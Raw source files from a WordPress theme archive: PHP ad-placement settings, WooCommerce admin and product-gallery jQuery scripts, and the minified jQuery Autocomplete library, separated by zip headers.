						'name'              => esc_html__( 'Add Google Adsense/Custom HTML Code Below Featured Slider ', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function single_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'single',
				'title'          => 'Single Posts Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'single',
				'fields'         => array(
					array(
						'id'                => 'penci_ads_inside_content_html',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content', 'soledad' ),
					),
					array(
						'id'      => 'penci_ads_inside_content_style',
						'type'    => 'select',
						'name'    => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content With:', 'soledad' ),
						'options' => array(
							'style-1' => __( 'After Each X Paragraphs - Repeat', 'soledad' ),
							'style-2' => __( 'After X Paragraphs - No Repeat', 'soledad' ),
						),
					),
					array(
						'id'   => 'penci_ads_inside_content_num',
						'type' => 'number',
						'name' => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content After How Many Paragraphs?', 'soledad' ),
						'std'  => 4,
					),
					array(
						'id'                => 'penci_post_adsense_single10',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code For Post Template Style 10', 'soledad' ),
					),
					array(
						'id'                => 'penci_post_adsense_one',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code below post description', 'soledad' ),
					),
					array(
						'id'                => 'penci_post_adsense_two',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code at the end of content posts', 'soledad' ),
					),
					array(
						'desc'              => __( 'If you use Google Ads here, please use normal Google Ads here - don\'t use Google Auto Ads to get it appears in the correct place.', 'soledad' ),
						'id'                => 'penci_loadnp_ads',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code Between Posts When Activate The Infinity Scrolling Load Posts', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function footer_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'footer',
				'title'          => 'Footer Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'footer',

				'fields' => array(
					array(
						'id'                => 'penci_footer_adsense',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML Code Above Footer', 'soledad' ),
					),
					array(
						'id'                => 'penci_footer_analytics',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Custom HTML code before close </body> tag / Google Analytics Code', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function archive_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'archive',
				'title'          => 'Archive Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'archive',
				'fields'         => array(
					array(
						'id'                => 'penci_arcf_adbelow',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code Display Below Featured Posts', 'soledad' ),
					),
					array(
						'id'                => 'penci_archive_ad_above',
						'desc'              => 'You can display google adsense/custom HTML code above posts on category, tags, search, archive page by use this option',
						'type'              => 'textarea',
						'mobile'            => true,
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive Pages ', 'soledad' ),
					),
					array(
						'id'                => 'penci_archive_ad_below',
						'desc'              => 'You can display google adsense/custom HTML code above posts on category, tags, search, archive page by use this option',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code to Display Below Posts Layout for Archive Pages', 'soledad' ),
					),
					array(
						'id'   => 'penci_infeedads_archi_num',
						'type' => 'number',
						'name' => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
					),
					array(
						'id'                => 'penci_infeedads_archi_code',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'desc'              => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
						'name'              => esc_html__( 'In-feed Ads Code/HTML', 'soledad' ),
					),
					array(
						'id'      => 'penci_infeedads_archi_layout',
						'type'    => 'select',
						'options' => array(
							''     => __( 'Follow Current Layout', 'soledad' ),
							'full' => __( 'Full Width', 'soledad' ),
						),
						'desc'    => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
						'name'    => esc_html__( 'In-feed Ads Layout Type', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function floatads_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'fltad',
				'title'          => 'Floating Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'fltad',
				'fields'         => array(
					array(
						'id'                => 'penci_floatads_enable',
						'type'              => 'switch',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Float Left Right Ads', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_always_center',
						'type'              => 'switch',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Force Display Center in Vertical', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_mtop',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Margin Top', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_scroll_mtop',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Margin Top on Scroll', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_banner_left',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Left', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_banner_right',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Right', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_width',
						'type'              => 'number',
						'default'           => '200',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Width', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_height',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Height', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function mobile_ads() {
			$list_mods = [
				'penci_custom_code_after_body_tag',
				'penci_custom_code_after_header_tag',
				'penci_infeedads_home_code',
				'penci_home_adsense_below_slider',
				'penci_ads_inside_content_html',
				'penci_post_adsense_single10',
				'penci_post_adsense_one',
				'penci_post_adsense_two',
				'penci_loadnp_ads',
				'penci_footer_adsense',
				'penci_footer_analytics',
				'penci_arcf_adbelow',
				'penci_archive_ad_above',
				'penci_archive_ad_below',
				'penci_infeedads_archi_code'
			];
			foreach ( $list_mods as $index => $mod ) {
				add_filter( 'theme_mod_' . $mod, function ( $value ) use ( $mod ) {

					if ( penci_is_mobile() ) {
						$mobile_value = get_theme_mod( $mod . '_mobile' );
						$value        = $mobile_value ? $mobile_value : $value;
					}

					if ( is_page() && 'disable' == get_post_meta( get_the_ID(), 'penci_page_dis_ads', true ) ) {
						$value = '';
					}

					return $value;
				} );
			}
		}
	}

	new Penci_Ad_Settings();
endif;
PK     0w\=/N  N    woocommerce/js/penci-admin.jsnu [        var frame,
    penci = penci || {};

jQuery(document).ready(function ($) {
    'use strict';
    var wp = window.wp,
        $body = $('body');

    $('#term-color').wpColorPicker();

    // Update attribute image
    $body.on('click', '.penci-upload-image-button', function (event) {
        event.preventDefault();

        var $button = $(this);

        // If the media frame already exists, reopen it.
        if (frame) {
            frame.open();
            return;
        }

        // Create the media frame.
        frame = wp.media.frames.downloadable_file = wp.media({
            title: penci.i18n.mediaTitle,
            button: {
                text: penci.i18n.mediaButton
            },
            multiple: false
        });

        // When an image is selected, run a callback.
        frame.on('select', function () {
            var attachment = frame.state().get('selection').first().toJSON();

            $button.siblings('input.penci-term-image').val(attachment.id);
            $button.siblings('.penci-remove-image-button').show();
            $button.parent().prev('.penci-term-image-thumbnail').find('img').attr('src', attachment.sizes.thumbnail.url);
        });

        // Finally, open the modal.
        frame.open();

    }).on('click', '.penci-remove-image-button', function () {
        var $button = $(this);

        $button.siblings('input.penci-term-image').val('');
        $button.siblings('.penci-remove-image-button').show();
        $button.parent().prev('.penci-term-image-thumbnail').find('img').attr('src', penci.placeholder);

        return false;
    });

    // Toggle add new attribute term modal
    var $modal = $('#penci-modal-container'),
        $spinner = $modal.find('.spinner'),
        $msg = $modal.find('.message'),
        $metabox = null;

    $body.on('click', '.penci_add_new_attribute', function (e) {
        e.preventDefault();
        var $button = $(this),
            taxInputTemplate = wp.template('penci-input-tax'),
            data = {
                type: $button.data('type'),
                tax: $button.closest('.woocommerce_attribute').data('taxonomy')
            };

        // Insert input
        $modal.find('.penci-term-swatch').html($('#tmpl-penci-input-' + data.type).html());
        $modal.find('.penci-term-tax').html(taxInputTemplate(data));

        if ('color' == data.type) {
            $modal.find('input.penci-input-color').wpColorPicker();
        }

        $metabox = $button.closest('.woocommerce_attribute.wc-metabox');
        $modal.show();
    }).on('click', '.penci-modal-close, .penci-modal-backdrop', function (e) {
        e.preventDefault();

        closeModal();
    });

    // Send ajax request to add new attribute term
    $body.on('click', '.penci-new-attribute-submit', function (e) {
        e.preventDefault();

        var $button = $(this),
            type = $button.data('type'),
            error = false,
            data = {};

        // Validate
        $modal.find('.penci-input').each(function () {
            var $this = $(this);

            if ($this.attr('name') != 'slug' && !$this.val()) {
                $this.addClass('error');
                error = true;
            } else {
                $this.removeClass('error');
            }

            data[$this.attr('name')] = $this.val();
        });

        if (error) {
            return;
        }

        // Send ajax request
        $spinner.addClass('is-active');
        $msg.hide();
        wp.ajax.send('penci_add_new_attribute', {
            data: data,
            error: function (res) {
                $spinner.removeClass('is-active');
                $msg.addClass('error').text(res).show();
            },
            success: function (res) {
                $spinner.removeClass('is-active');
                $msg.addClass('success').text(res.msg).show();

                $metabox.find('select.attribute_values').append('<option value="' + res.id + '" selected="selected">' + res.name + '</option>');
                $metabox.find('select.attribute_values').change();

                closeModal();
            }
        });
    });

    /**
     * Close modal
     */
    function closeModal() {
        $modal.find('.penci-term-name input, .penci-term-slug input').val('');
        $spinner.removeClass('is-active');
        $msg.removeClass('error success').hide();
        $modal.hide();
    }
});
PK     0w\q-4  4  )  woocommerce/js/jquery.autocomplete.min.jsnu [        /**
*  Ajax Autocomplete for jQuery, version 1.4.11
*  (c) 2017 Tomas Kirda
*
*  Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license.
*  For details, see the web site: https://github.com/devbridge/jQuery-Autocomplete
*/
!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports&&"function"==typeof require?t(require("jquery")):t(jQuery)}(function(t){"use strict";var e={escapeRegExChars:function(t){return t.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&")},createNode:function(t){var e=document.createElement("div");return e.className=t,e.style.position="absolute",e.style.display="none",e}},s=27,i=9,n=13,o=38,a=39,u=40,l=t.noop;function r(e,s){this.element=e,this.el=t(e),this.suggestions=[],this.badQueries=[],this.selectedIndex=-1,this.currentValue=this.element.value,this.timeoutId=null,this.cachedResponse={},this.onChangeTimeout=null,this.onChange=null,this.isLocal=!1,this.suggestionsContainer=null,this.noSuggestionsContainer=null,this.options=t.extend(!0,{},r.defaults,s),this.classes={selected:"autocomplete-selected",suggestion:"autocomplete-suggestion"},this.hint=null,this.hintValue="",this.selection=null,this.initialize(),this.setOptions(s)}r.utils=e,t.Autocomplete=r,r.defaults={ajaxSettings:{},autoSelectFirst:!1,appendTo:"body",serviceUrl:null,lookup:null,onSelect:null,onHint:null,width:"auto",minChars:1,maxHeight:300,deferRequestBy:0,params:{},formatResult:function(t,s){if(!s)return t.value;var i="("+e.escapeRegExChars(s)+")";return t.value.replace(new RegExp(i,"gi"),"<strong>$1</strong>").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/&lt;(\/?strong)&gt;/g,"<$1>")},formatGroup:function(t,e){return'<div class="autocomplete-group">'+e+"</div>"},delimiter:null,zIndex:9999,type:"GET",noCache:!1,onSearchStart:l,onSearchComplete:l,onSearchError:l,preserveInput:!1,containerClass:"autocomplete-suggestions",tabDisabled:!1,dataType:"text",currentRequest:null,triggerSelectOnValidInput:!0,preventBadQueries:!0,lookupFilter:function(t,e,s){return-1!==t.value.toLowerCase().indexOf(s)},paramName:"query",transformResult:function(e){return"string"==typeof e?t.parseJSON(e):e},showNoSuggestionNotice:!1,noSuggestionNotice:"No results",orientation:"bottom",forceFixPosition:!1},r.prototype={initialize:function(){var e,s=this,i="."+s.classes.suggestion,n=s.classes.selected,o=s.options;s.element.setAttribute("autocomplete","off"),s.noSuggestionsContainer=t('<div class="autocomplete-no-suggestion"></div>').html(this.options.noSuggestionNotice).get(0),s.suggestionsContainer=r.utils.createNode(o.containerClass),(e=t(s.suggestionsContainer)).appendTo(o.appendTo||"body"),"auto"!==o.width&&e.css("width",o.width),e.on("mouseover.autocomplete",i,function(){s.activate(t(this).data("index"))}),e.on("mouseout.autocomplete",function(){s.selectedIndex=-1,e.children("."+n).removeClass(n)}),e.on("click.autocomplete",i,function(){s.select(t(this).data("index"))}),e.on("click.autocomplete",function(){clearTimeout(s.blurTimeoutId)}),s.fixPositionCapture=function(){s.visible&&s.fixPosition()},t(window).on("resize.autocomplete",s.fixPositionCapture),s.el.on("keydown.autocomplete",function(t){s.onKeyPress(t)}),s.el.on("keyup.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("blur.autocomplete",function(){s.onBlur()}),s.el.on("focus.autocomplete",function(){s.onFocus()}),s.el.on("change.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("input.autocomplete",function(t){s.onKeyUp(t)})},onFocus:function(){this.disabled||(this.fixPosition(),this.el.val().length>=this.options.minChars&&this.onValueChange())},onBlur:function(){var e=this,s=e.options,i=e.el.val(),n=e.getQuery(i);e.blurTimeoutId=setTimeout(function(){e.hide(),e.selection&&e.currentValue!==n&&(s.onInvalidateSelection||t.noop).call(e.element)},200)},abortAjax:function(){this.currentRequest&&(this.currentRequest.abort(),this.currentRequest=null)},setOptions:function(e){var s=t.extend({},this.options,e);this.isLocal=Array.isArray(s.lookup),this.isLocal&&(s.lookup=this.verifySuggestionsFormat(s.lookup)),s.orientation=this.validateOrientation(s.orientation,"bottom"),t(this.suggestionsContainer).css({"max-height":s.maxHeight+"px",width:s.width+"px","z-index":s.zIndex}),this.options=s},clearCache:function(){this.cachedResponse={},this.badQueries=[]},clear:function(){this.clearCache(),this.currentValue="",this.suggestions=[]},disable:function(){this.disabled=!0,clearTimeout(this.onChangeTimeout),this.abortAjax()},enable:function(){this.disabled=!1},fixPosition:function(){var e=t(this.suggestionsContainer),s=e.parent().get(0);if(s===document.body||this.options.forceFixPosition){var i=this.options.orientation,n=e.outerHeight(),o=this.el.outerHeight(),a=this.el.offset(),u={top:a.top,left:a.left};if("auto"===i){var l=t(window).height(),r=t(window).scrollTop(),h=-r+a.top-n,c=r+l-(a.top+o+n);i=Math.max(h,c)===h?"top":"bottom"}if(u.top+="top"===i?-n:o,s!==document.body){var g,d=e.css("opacity");this.visible||e.css("opacity",0).show(),g=e.offsetParent().offset(),u.top-=g.top,u.top+=s.scrollTop,u.left-=g.left,this.visible||e.css("opacity",d).hide()}"auto"===this.options.width&&(u.width=this.el.outerWidth()+"px"),e.css(u)}},isCursorAtEnd:function(){var t,e=this.el.val().length,s=this.element.selectionStart;return"number"==typeof s?s===e:!document.selection||((t=document.selection.createRange()).moveStart("character",-e),e===t.text.length)},onKeyPress:function(t){if(this.disabled||this.visible||t.which!==u||!this.currentValue){if(!this.disabled&&this.visible){switch(t.which){case s:this.el.val(this.currentValue),this.hide();break;case a:if(this.hint&&this.options.onHint&&this.isCursorAtEnd()){this.selectHint();break}return;case i:if(this.hint&&this.options.onHint)return void this.selectHint();if(-1===this.selectedIndex)return void this.hide();if(this.select(this.selectedIndex),!1===this.options.tabDisabled)return;break;case n:if(-1===this.selectedIndex)return void this.hide();this.select(this.selectedIndex);break;case o:this.moveUp();break;case u:this.moveDown();break;default:return}t.stopImmediatePropagation(),t.preventDefault()}}else this.suggest()},onKeyUp:function(t){var e=this;if(!e.disabled){switch(t.which){case o:case u:return}clearTimeout(e.onChangeTimeout),e.currentValue!==e.el.val()&&(e.findBestHint(),e.options.deferRequestBy>0?e.onChangeTimeout=setTimeout(function(){e.onValueChange()},e.options.deferRequestBy):e.onValueChange())}},onValueChange:function(){if(this.ignoreValueChange)this.ignoreValueChange=!1;else{var e=this.options,s=this.el.val(),i=this.getQuery(s);this.selection&&this.currentValue!==i&&(this.selection=null,(e.onInvalidateSelection||t.noop).call(this.element)),clearTimeout(this.onChangeTimeout),this.currentValue=s,this.selectedIndex=-1,e.triggerSelectOnValidInput&&this.isExactMatch(i)?this.select(0):i.length<e.minChars?this.hide():this.getSuggestions(i)}},isExactMatch:function(t){var e=this.suggestions;return 1===e.length&&e[0].value.toLowerCase()===t.toLowerCase()},getQuery:function(e){var s,i=this.options.delimiter;return i?(s=e.split(i),t.trim(s[s.length-1])):e},getSuggestionsLocal:function(e){var s,i=this.options,n=e.toLowerCase(),o=i.lookupFilter,a=parseInt(i.lookupLimit,10);return s={suggestions:t.grep(i.lookup,function(t){return o(t,e,n)})},a&&s.suggestions.length>a&&(s.suggestions=s.suggestions.slice(0,a)),s},getSuggestions:function(e){var s,i,n,o,a=this,u=a.options,l=u.serviceUrl;u.params[u.paramName]=e,!1!==u.onSearchStart.call(a.element,u.params)&&(i=u.ignoreParams?null:u.params,t.isFunction(u.lookup)?u.lookup(e,function(t){a.suggestions=t.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,t.suggestions)}):(a.isLocal?s=a.getSuggestionsLocal(e):(t.isFunction(l)&&(l=l.call(a.element,e)),n=l+"?"+t.param(i||{}),s=a.cachedResponse[n]),s&&Array.isArray(s.suggestions)?(a.suggestions=s.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,s.suggestions)):a.isBadQuery(e)?u.onSearchComplete.call(a.element,e,[]):(a.abortAjax(),o={url:l,data:i,type:u.type,dataType:u.dataType},t.extend(o,u.ajaxSettings),a.currentRequest=t.ajax(o).done(function(t){var s;a.currentRequest=null,s=u.transformResult(t,e),a.processResponse(s,e,n),u.onSearchComplete.call(a.element,e,s.suggestions)}).fail(function(t,s,i){u.onSearchError.call(a.element,e,t,s,i)}))))},isBadQuery:function(t){if(!this.options.preventBadQueries)return!1;for(var e=this.badQueries,s=e.length;s--;)if(0===t.indexOf(e[s]))return!0;return!1},hide:function(){var e=t(this.suggestionsContainer);t.isFunction(this.options.onHide)&&this.visible&&this.options.onHide.call(this.element,e),this.visible=!1,this.selectedIndex=-1,clearTimeout(this.onChangeTimeout),t(this.suggestionsContainer).hide(),this.onHint(null)},suggest:function(){if(this.suggestions.length){var e,s=this.options,i=s.groupBy,n=s.formatResult,o=this.getQuery(this.currentValue),a=this.classes.suggestion,u=this.classes.selected,l=t(this.suggestionsContainer),r=t(this.noSuggestionsContainer),h=s.beforeRender,c="";s.triggerSelectOnValidInput&&this.isExactMatch(o)?this.select(0):(t.each(this.suggestions,function(t,u){i&&(c+=function(t,n){var o=t.data[i];return e===o?"":(e=o,s.formatGroup(t,e))}(u,0)),c+='<div class="'+a+'" data-index="'+t+'">'+n(u,o,t)+"</div>"}),this.adjustContainerWidth(),r.detach(),l.html(c),t.isFunction(h)&&h.call(this.element,l,this.suggestions),this.fixPosition(),l.show(),s.autoSelectFirst&&(this.selectedIndex=0,l.scrollTop(0),l.children("."+a).first().addClass(u)),this.visible=!0,this.findBestHint())}else this.options.showNoSuggestionNotice?this.noSuggestions():this.hide()},noSuggestions:function(){var e=this.options.beforeRender,s=t(this.suggestionsContainer),i=t(this.noSuggestionsContainer);this.adjustContainerWidth(),i.detach(),s.empty(),s.append(i),t.isFunction(e)&&e.call(this.element,s,this.suggestions),this.fixPosition(),s.show(),this.visible=!0},adjustContainerWidth:function(){var e,s=this.options,i=t(this.suggestionsContainer);"auto"===s.width?(e=this.el.outerWidth(),i.css("width",e>0?e:300)):"flex"===s.width&&i.css("width","")},findBestHint:function(){var e=this.el.val().toLowerCase(),s=null;e&&(t.each(this.suggestions,function(t,i){var n=0===i.value.toLowerCase().indexOf(e);return n&&(s=i),!n}),this.onHint(s))},onHint:function(e){var s=this.options.onHint,i="";e&&(i=this.currentValue+e.value.substr(this.currentValue.length)),this.hintValue!==i&&(this.hintValue=i,this.hint=e,t.isFunction(s)&&s.call(this.element,i))},verifySuggestionsFormat:function(e){return e.length&&"string"==typeof e[0]?t.map(e,function(t){return{value:t,data:null}}):e},validateOrientation:function(e,s){return e=t.trim(e||"").toLowerCase(),-1===t.inArray(e,["auto","bottom","top"])&&(e=s),e},processResponse:function(t,e,s){var i=this.options;t.suggestions=this.verifySuggestionsFormat(t.suggestions),i.noCache||(this.cachedResponse[s]=t,i.preventBadQueries&&!t.suggestions.length&&this.badQueries.push(e)),e===this.getQuery(this.currentValue)&&(this.suggestions=t.suggestions,this.suggest())},activate:function(e){var s,i=this.classes.selected,n=t(this.suggestionsContainer),o=n.find("."+this.classes.suggestion);return n.find("."+i).removeClass(i),this.selectedIndex=e,-1!==this.selectedIndex&&o.length>this.selectedIndex?(s=o.get(this.selectedIndex),t(s).addClass(i),s):null},selectHint:function(){var e=t.inArray(this.hint,this.suggestions);this.select(e)},select:function(t){this.hide(),this.onSelect(t)},moveUp:function(){if(-1!==this.selectedIndex)return 0===this.selectedIndex?(t(this.suggestionsContainer).children("."+this.classes.suggestion).first().removeClass(this.classes.selected),this.selectedIndex=-1,this.ignoreValueChange=!1,this.el.val(this.currentValue),void this.findBestHint()):void this.adjustScroll(this.selectedIndex-1)},moveDown:function(){this.selectedIndex!==this.suggestions.length-1&&this.adjustScroll(this.selectedIndex+1)},adjustScroll:function(e){var s=this.activate(e);if(s){var i,n,o,a=t(s).outerHeight();i=s.offsetTop,o=(n=t(this.suggestionsContainer).scrollTop())+this.options.maxHeight-a,i<n?t(this.suggestionsContainer).scrollTop(i):i>o&&t(this.suggestionsContainer).scrollTop(i-this.options.maxHeight+a),this.options.preserveInput||(this.ignoreValueChange=!0,this.el.val(this.getValue(this.suggestions[e].value))),this.onHint(null)}},onSelect:function(e){var s=this.options.onSelect,i=this.suggestions[e];this.currentValue=this.getValue(i.value),this.currentValue===this.el.val()||this.options.preserveInput||this.el.val(this.currentValue),this.onHint(null),this.suggestions=[],this.selection=i,t.isFunction(s)&&s.call(this.element,i)},getValue:function(t){var e,s,i=this.options.delimiter;return i?1===(s=(e=this.currentValue).split(i)).length?t:e.substr(0,e.length-s[s.length-1].length)+t:t},dispose:function(){this.el.off(".autocomplete").removeData("autocomplete"),t(window).off("resize.autocomplete",this.fixPositionCapture),t(this.suggestionsContainer).remove()}},t.fn.devbridgeAutocomplete=function(e,s){return arguments.length?this.each(function(){var i=t(this),n=i.data("autocomplete");"string"==typeof e?n&&"function"==typeof n[e]&&n[e](s):(n&&n.dispose&&n.dispose(),n=new r(this,e),i.data("autocomplete",n))}):this.first().data("autocomplete")},t.fn.autocomplete||(t.fn.autocomplete=t.fn.devbridgeAutocomplete)});
PK     0w\We)  )     woocommerce/js/single-product.jsnu [        /*global wc_single_product_params, PhotoSwipe, PhotoSwipeUI_Default */
jQuery(function ($) {

    // wc_single_product_params is required to continue.
    if (typeof wc_single_product_params === 'undefined') {
        return false;
    }

    $('body')
        // Tabs
        .on('init', '.wc-tabs-wrapper, .woocommerce-tabs', function () {
            $(this).find('.wc-tab, .woocommerce-tabs .panel:not(.panel .panel)').hide();

            var hash = window.location.hash;
            var url = window.location.href;
            var $tabs = $(this).find('.wc-tabs, ul.tabs').first();

            if (hash.toLowerCase().indexOf('comment-') >= 0 || hash === '#reviews' || hash === '#tab-reviews') {
                $tabs.find('li.reviews_tab a').trigger('click');
            } else if (url.indexOf('comment-page-') > 0 || url.indexOf('cpage=') > 0) {
                $tabs.find('li.reviews_tab a').trigger('click');
            } else if (hash === '#tab-additional_information') {
                $tabs.find('li.additional_information_tab a').trigger('click');
            } else {
                $tabs.find('li:first a').trigger('click');
            }
        })
        .on('click', '.wc-tabs li a, ul.tabs li a', function (e) {
            e.preventDefault();
            var $tab = $(this);
            var $tabs_wrapper = $tab.closest('.wc-tabs-wrapper, .woocommerce-tabs');
            var $tabs = $tabs_wrapper.find('.wc-tabs, ul.tabs');

            $tabs.find('li').removeClass('active');
            $tabs_wrapper.find('.wc-tab, .panel:not(.panel .panel)').hide();

            $tab.closest('li').addClass('active');
            $tabs_wrapper.find($tab.attr('href')).show();
        })
        // Review link
        .on('click', 'a.woocommerce-review-link', function () {
            $('.reviews_tab a').trigger('click');
            return true;
        })
        // Star ratings for comments
        .on('init', '#rating', function () {
            $('#rating')
                .hide()
                .before(
                    '<p class="stars">\
                        <span>\
                            <a class="star-1" href="#">1</a>\
                            <a class="star-2" href="#">2</a>\
                            <a class="star-3" href="#">3</a>\
                            <a class="star-4" href="#">4</a>\
                            <a class="star-5" href="#">5</a>\
                        </span>\
                    </p>'
                );
        })
        .on('click', '#respond p.stars a', function () {
            var $star = $(this),
                $rating = $(this).closest('#respond').find('#rating'),
                $container = $(this).closest('.stars');

            $rating.val($star.text());
            $star.siblings('a').removeClass('active');
            $star.addClass('active');
            $container.addClass('selected');

            return false;
        })
        .on('click', '#respond #submit', function () {
            var $rating = $(this).closest('#respond').find('#rating'),
                rating = $rating.val();

            if ($rating.length > 0 && !rating && wc_single_product_params.review_rating_required === 'yes') {
                window.alert(wc_single_product_params.i18n_required_rating_text);

                return false;
            }
        });

    // Init Tabs and Star Ratings
    $('.wc-tabs-wrapper, .woocommerce-tabs, #rating').trigger('init');

    /**
     * Product gallery class.
     */
    var ProductGallery = function ($target, args) {
        this.$target = $target;
        this.$images = $('.pcw-gallery-main', $target);

        // No images? Abort.
        if (0 === this.$images.length) {
            this.$target.css('opacity', 1);
            return;
        }

        // Make this object available.
        $target.data('product_gallery', this);

        // Pick functionality to initialize...
        //this.flexslider_enabled = 'function' === typeof $.fn.flexslider && wc_single_product_params.flexslider_enabled;
        this.zoom_enabled = 'function' === typeof $.fn.zoom && wc_single_product_params.zoom_enabled;
        this.photoswipe_enabled = typeof PhotoSwipe !== 'undefined' && wc_single_product_params.photoswipe_enabled;

        // ...also taking args into account.
        if (args) {
            //this.flexslider_enabled = false === args.flexslider_enabled ? false : this.flexslider_enabled;
            this.zoom_enabled = false === args.zoom_enabled ? false : this.zoom_enabled;
            this.photoswipe_enabled = false === args.photoswipe_enabled ? false : this.photoswipe_enabled;
        }

        // ...and what is in the gallery.
        /*if ( 1 === this.$images.length ) {
            this.flexslider_enabled = false;
        }*/

        // Bind functions to this.
        //this.initFlexslider       = this.initFlexslider.bind( this );
        this.initZoom = this.initZoom.bind(this);
        this.initZoomForTarget = this.initZoomForTarget.bind(this);
        this.initPhotoswipe = this.initPhotoswipe.bind(this);
        //this.onResetSlidePosition = this.onResetSlidePosition.bind( this );
        this.getGalleryItems = this.getGalleryItems.bind(this);
        this.openPhotoswipe = this.openPhotoswipe.bind(this);

        /*if ( this.flexslider_enabled ) {
            this.initFlexslider( args.flexslider );
            $target.on( 'woocommerce_gallery_reset_slide_position', this.onResetSlidePosition );
        } else {
            this.$target.css( 'opacity', 1 );
        }*/

        if (this.zoom_enabled) {
            this.initZoom();
            $target.on('woocommerce_gallery_init_zoom', this.initZoom);
        }

        if (this.photoswipe_enabled) {
            this.initPhotoswipe();
        }
    };

    /**
     * Init zoom.
     */
    ProductGallery.prototype.initZoom = function () {
        this.initZoomForTarget(this.$images.first());
    };

    /**
     * Init zoom.
     */
    ProductGallery.prototype.initZoomForTarget = function (zoomTarget) {
        if (!this.zoom_enabled) {
            return false;
        }

        var galleryWidth = this.$target.width(),
            zoomEnabled = false;

        $(zoomTarget).each(function (index, target) {
            var image = $(target).find('img');

            if (image.data('large_image_width') > galleryWidth) {
                zoomEnabled = true;
                return false;
            }
        });

        // But only zoom if the img is larger than its container.
        if (zoomEnabled) {
            var zoom_options = $.extend({
                touch: false
            }, wc_single_product_params.zoom_options);

            if ('ontouchstart' in document.documentElement) {
                zoom_options.on = 'click';
            }

            zoomTarget.trigger('zoom.destroy');
            zoomTarget.zoom(zoom_options);

            setTimeout(function () {
                if (zoomTarget.find(':hover').length) {
                    zoomTarget.trigger('mouseover');
                }
            }, 100);
        }
    };

    /**
     * Init PhotoSwipe.
     */
    ProductGallery.prototype.initPhotoswipe = function () {
        if (this.zoom_enabled && this.$images.length > 0) {
            this.$target.prepend('<a href="#" class="woocommerce-product-gallery__trigger">🔍</a>');
            this.$target.on('click', '.woocommerce-product-gallery__trigger', this.openPhotoswipe);
            this.$target.on('click', '.woocommerce-product-gallery__image a', function (e) {
                e.preventDefault();
            });


            this.$target.on('click', '.woocommerce-product-gallery__image a', this.openPhotoswipe);
        } else {
            this.$target.on('click', '.woocommerce-product-gallery__image a', this.openPhotoswipe);
        }
    };

    /**
     * Get product gallery image items.
     */
    ProductGallery.prototype.getGalleryItems = function () {
        var $slides = this.$images,
            items = [];

        if ($slides.length > 0) {
            $slides.each(function (i, el) {
                var img = $(el).find('img');

                if (img.length) {
